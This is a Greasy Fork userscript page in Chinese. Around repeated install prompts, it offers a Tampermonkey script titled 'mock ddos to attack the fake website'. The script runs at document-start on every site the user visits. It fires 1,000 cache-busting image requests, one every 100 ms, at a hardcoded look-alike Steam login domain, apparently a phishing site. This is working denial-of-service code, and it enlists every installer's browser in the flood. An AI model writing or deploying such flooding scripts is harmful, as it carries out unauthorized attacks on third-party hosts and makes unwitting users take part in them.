mock ddos to attack the fake website

ddos钓鱼网站

您需要先安装一个扩展,例如 篡改猴Greasemonkey暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴暴力猴,之后才能安装此脚本。

您需要先安装一个扩展,例如 篡改猴Userscripts ,之后才能安装此脚本。

您需要先安装一款用户脚本管理器扩展,例如 Tampermonkey,才能安装此脚本。

您需要先安装用户脚本管理器扩展后才能安装此脚本。

(我已经安装了用户脚本管理器,让我安装!)

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展,比如 Stylus,才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

您需要先安装一款用户样式管理器扩展后才能安装此样式。

(我已经安装了用户样式管理器,让我安装!)

// ==UserScript==
// @name    mock ddos to attack the fake website
// @author  burningall
// @description ddos钓鱼网站
// @version     2016.1.25
// @include     *
// @run-at      document-start
// @compatible  chrome  完美运行
// @compatible  firefox  完美运行
// @license     The MIT License (MIT); http://opensource.org/licenses/MIT
// @supportURL      http://www.burningall.com
// @contributionURL [email protected]|alipay.com
// @namespace https://greasyfork.org/zh-CN/users/3400-axetroy
// ==/UserScript==

(function () {
  // ddos地址
  var url = '//steamcommuunity.com/login/home',
  // 每隔多少ms发送一次请求
    delay = 100,
  // 请求次数
    times = 1000,
  // 以下不要修改
    count = 0,
    pic, rand;

  function ddos(url) {
    pic = new Image();
    rand = Math.floor(Math.random() * 1000);
    pic.src = url + '?random=' + rand;
  }

  var ddosTimer = setInterval(function () {
    if (count >= times) {
      clearInterval(ddosTimer);
    } else {
      ddos(url);
      count++;
    }
  }, delay);
})();